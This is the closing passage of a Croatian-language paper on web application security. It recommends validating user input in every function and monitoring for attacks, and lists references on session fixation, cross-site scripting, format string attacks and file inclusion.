Pisanje koda sigurnim principima. Jednostruka ljudska pogreka nee ugroziti sigurnost cijele aplikacije. Primjerice, prilikom pisanja koda, korisniki uneseni podaci e se parsirati i provjeravati unutar svake funkcije koja prima korisnike podatke kako bi se sprijeio sigurnosni propust. Postojanje sustava za nadgledanje i detekciju kako bi se detektirali napadi. Na ovaj nain se moe otkriti korisnika koji je pokuao izvesti napad i sprijeiti da to ini u budunosti. Dodatno, sustav e otkriti nain na koji je napad izveden te izvijestiti programere. Programeri e analizirati napad, te izdati novu verziju Web aplikacije kako bi zatitili druge korisnike od napada. Ovim postupkom postie se dugorona sigurnost Web aplikacije.

25

10. Literatura
1. Tony Northup: MCAD/MCSD Self-Paced Training Kit: Implementing Security for Applications with Microsoft Visual Basic .NET and Microsoft Visual C# .NET, Microsoft Press, 2004. 2. Simson Garfinkel: Web Security & Commerce, O'Reilly, 1997. 3. Web Application Security Consortium, Web Application Security Consortium: Threat Clasification (pdf). URL: http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.pdf (10/2/2006). 4. The Unofficial Cookie FAQ. URL: http://www.cookiecentral.com/faq/ (14/2/2006). 5. Mitja Koek, Session Fixation Vulnerability in Web-based Applications URL:http://www.acrossecurity.com/papers/session_fixation.pdf (14/2/2006). (pdf).

6. Kevin Spett, SPI Labs , Cross-Site Scripting attacks (pdf). URL:http://www.spidynamics.com/whitepapers/SPIcross-sitescripting. df (16/2/2006). p 7. Tim Newsham, Format string attacks URL:http://muse.linuxmafia.org/lost+found/format-string-attacks.pdf (16/2/2006). (pdf).

8. Secunia - Advisories - Mambo 'GLOBALS['mosConfig_absolute_path']' File Inclusion, URL: http://secunia.com/advisories/14337 (5/4/2006). 9. All About Bots. Trojans And Worms!. URL: http://www.swatit.org/bots/ (5/4/2006).

26

You might also like